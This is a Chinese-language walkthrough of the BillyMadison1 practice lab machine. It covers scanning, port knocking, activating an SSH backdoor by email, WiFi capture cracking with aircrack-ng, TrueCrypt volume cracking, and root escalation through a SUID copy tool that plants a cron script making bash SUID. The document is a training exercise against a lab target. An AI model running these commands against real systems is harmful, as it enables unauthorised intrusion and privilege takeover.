BillyMadison1靶机渗透测试详细教学文档<\/h1>

1. 信息收集阶段<\/h2>

1.1 初始扫描<\/h3>
使用Nmap进行全端口扫描：<\/p>
nmap -p- 192.168.8.101 --min-rate 1000<\/span> -sC -sV
<\/span><\/span><\/code><\/pre>扫描结果：<\/p>

开放端口：

22\/tcp: SSH (tcpwrapped)<\/li>
23\/tcp: Telnet (tcpwrapped)<\/li>
69\/tcp: TFTP\/CalDAV (Radicale calendar and contacts server)<\/li>
80\/tcp: HTTP (Apache 2.4.18)<\/li>
137\/tcp: NetBIOS (closed)<\/li>
138\/tcp: NetBIOS (closed)<\/li>
139\/tcp: NetBIOS (Samba smbd 3.X-4.X)<\/li>
445\/tcp: SMB (Samba smbd 4.3.11-Ubuntu)<\/li>
2525\/tcp: SMTP (SubEthaSMTP)<\/li>
<\/ul>
<\/li>
<\/ul>
1.2 Telnet服务检查<\/h3>
通过Telnet连接23端口发现提示信息：<\/p>

暗示Billy正在破解WiFi<\/li>
提供密文：rkfpuzrahngvat<\/code><\/li>
提示不使用ROTten加密（实际使用ROT13）<\/li>
<\/ul>
解密密文：<\/p>
echo "rkfpuzrahngvat"<\/span> | tr 'A-Za-z'<\/span> 'N-ZA-Mn-za-m'<\/span>
<\/span><\/span><\/code><\/pre>解密结果：exschmenuating<\/code><\/p>
2. Web应用分析<\/h2>
2.1 目录发现<\/h3>
访问发现的目录：<\/p>
http:\/\/192.168.8.101\/exschmenuating\/
<\/code><\/pre>
发现日记内容：<\/p>

提到"veronica"可能用于密码<\/li>
暗示存在.cap文件（Wireshark捕获文件）<\/li>
文件名可能包含"veronica"<\/li>
<\/ul>
2.2 文件枚举<\/h3>
生成veronica相关字典：<\/p>
grep -i veronica \/usr\/share\/wordlists\/rockyou.txt > veronica.txt
<\/span><\/span><\/code><\/pre>使用gobuster搜索.cap文件：<\/p>
gobuster dir -u "http:\/\/192.168.8.101\/exschmenuating\/"<\/span> -w veronica.txt -x cap
<\/span><\/span><\/code><\/pre>发现文件：<\/p>
http:\/\/192.168.8.101\/exschmenuating\/012987veronica.cap
<\/code><\/pre>
3. 邮件分析<\/h2>
通过SMTP服务(2525端口)分析邮件通信：<\/p>


第一封邮件<\/strong>：<\/p>

主题：VIRUS ALERT!<\/li>
内容：Eric通知Veronica安装新的防病毒程序<\/li>
包含恶意链接：http:\/\/areallyreallybad.malware.edu.org.ru\/f3fs0azjf.php<\/code><\/li>
<\/ul>
<\/li>

第二封邮件<\/strong>：<\/p>

Veronica回复无法下载，请求通过FTP上传<\/li>
提到"Spanish Armada"组合（端口敲门提示）<\/li>
提供视频链接：https:\/\/www.油官.com\/watch?v=z5YU7JwVy7s<\/code><\/li>
<\/ul>
<\/li>

第三封邮件<\/strong>：<\/p>

Eric提供FTP凭据：

用户名：eric<\/code><\/li>
密码：ericdoesntdrinkhisownpee<\/code><\/li>
<\/ul>
<\/li>
<\/ul>
<\/li>

第四封邮件<\/strong>：<\/p>

Veronica确认账户设置完成<\/li>
<\/ul>
<\/li>

第五封邮件<\/strong>：<\/p>

Eric通知文件已上传到FTP服务器<\/li>
<\/ul>
<\/li>

第六封邮件<\/strong>：<\/p>

Veronica描述电脑异常行为<\/li>
<\/ul>
<\/li>
<\/ol>
4. 端口敲门技术<\/h2>
根据邮件提示，使用端口敲门开启FTP服务：<\/p>
knock 192.168.8.101 1466<\/span> 67<\/span> 1469<\/span> 1514<\/span> 1981<\/span> 1986<\/span> -d 200<\/span>
<\/span><\/span><\/code><\/pre>注意：如果未响应，可能需要重启靶机<\/p>
5. FTP服务利用<\/h2>
使用获得的凭据登录FTP：<\/p>
ftp eric@192.168.8.101
<\/span><\/span>密码：ericdoesntdrinkhisownpee
<\/span><\/span><\/code><\/pre>获取隐藏文件：<\/p>
get .notes
<\/code><\/pre>
文件内容：<\/p>

提到SSH后门<\/li>
需要发送特定内容的邮件来激活后门：

内容需包含："My kid will be a"<\/li>
<\/ul>
<\/li>
<\/ul>
6. 激活SSH后门<\/h2>
发送激活邮件：<\/p>
swaks --to eric@madisonhotels.com --from vvaughn@polyfector.edu --server 192.168.8.101:2525 --body "My kid will be a soccer player"<\/span> --header "Subject: My kid will be soccer player"<\/span>
<\/span><\/span><\/code><\/pre>再次扫描端口确认SSH后门开放：<\/p>
nmap -p- 192.168.8.101 -Pn --min-rate 1000<\/span> -sV
<\/span><\/span><\/code><\/pre>7. 破解无线网络<\/h2>
从FTP下载无线捕获文件：<\/p>
get eg-01.cap
<\/code><\/pre>
使用aircrack-ng破解WiFi密码：<\/p>
aircrack-ng eg-01.cap -w \/usr\/share\/wordlists\/rockyou.txt
<\/span><\/span><\/code><\/pre>获得密码：triscuit*<\/code><\/p>
8. SSH登录<\/h2>
使用后门端口登录Eric账户：<\/p>
ssh eric@192.168.8.101 -p 1974<\/span>
<\/span><\/span><\/code><\/pre>获取local.txt内容：suw82jjapj<\/code><\/p>
9. 权限提升<\/h2>
9.1 查找SUID文件<\/h3>
find \/ -perm -4000 -type f 2>\/dev\/null
<\/span><\/span><\/code><\/pre>发现可疑文件：\/usr\/local\/share\/sgml\/donpcgd<\/code><\/p>
9.2 利用donpcgd提权<\/h3>

创建临时文件：<\/li>
<\/ol>
touch \/tmp\/h4ck
<\/span><\/span><\/code><\/pre>
利用donpcgd复制文件：<\/li>
<\/ol>
\/usr\/local\/share\/sgml\/donpcgd \/tmp\/h4ck \/etc\/cron.hourly\/h4ck
<\/span><\/span><\/code><\/pre>
创建提权脚本：<\/li>
<\/ol>
echo -e '#!\/bin\/bash\nchmod u+s \/bin\/bash'<\/span> > \/etc\/cron.hourly\/h4ck
<\/span><\/span>chmod +x \/etc\/cron.hourly\/h4ck
<\/span><\/span><\/code><\/pre>
等待cron执行后获取root shell：<\/li>
<\/ol>
bash -p
<\/span><\/span><\/code><\/pre>获取proof.txt内容：dh2i1poad<\/code><\/p>
10. 加密文件破解<\/h2>
10.1 发现加密文件<\/h3>
cd \/PRIVATE\/
<\/span><\/span>cat hint.txt
<\/span><\/span><\/code><\/pre>提示链接：https:\/\/en.维姬百科.org\/wiki\/Billy_Madison<\/code><\/p>
10.2 生成字典<\/h3>
cewl --depth 0<\/span> https:\/\/en.维姬百科.org\/wiki\/Billy_Madison > .\/billy.txt
<\/span><\/span><\/code><\/pre>10.3 破解加密文件<\/h3>
truecrack -v -t BowelMovement -w billy.txt
<\/span><\/span><\/code><\/pre>获得密码：execrable<\/code><\/p>
10.4 挂载加密卷<\/h3>
sudo cryptsetup --type tcrypt open BowelMovement h4ck13
<\/span><\/span>sudo mkdir \/mnt\/h4ck13
<\/span><\/span>sudo mount \/dev\/mapper\/h4ck13 \/mnt\/h4ck13
<\/span><\/span>cp \/mnt\/h4ck13\/secret.zip .\/
<\/span><\/span>unzip secret.zip
<\/span><\/span><\/code><\/pre>11. Firefox端口限制绕过<\/h2>
如需访问非标准端口(如69端口)，修改Firefox配置：<\/p>

地址栏输入：about:config<\/code><\/li>
搜索或创建：network.security.ports.banned.override<\/code><\/li>
添加允许的端口号，如：69<\/code>（多个端口用逗号分隔）<\/li>
重启Firefox生效<\/li>
<\/ol>
关键知识点总结<\/h2>

信息收集<\/strong>：全面的端口扫描和目录枚举<\/li>
密码学<\/strong>：ROT13加密识别与解密<\/li>
社会工程学<\/strong>：从邮件通信中提取关键信息<\/li>
端口敲门<\/strong>：特定端口序列触发服务开放<\/li>
无线安全<\/strong>：Wireshark捕获文件分析与破解<\/li>
后门利用<\/strong>：通过特定条件激活隐藏服务<\/li>
权限提升<\/strong>：SUID文件滥用和cron任务利用<\/li>
加密破解<\/strong>：字典生成与加密卷破解<\/li>
配置绕过<\/strong>：浏览器安全限制调整<\/li>
<\/ol>
通过以上步骤，完整地完成了从信息收集到最终获取root权限并破解加密文件的渗透测试过程。<\/p>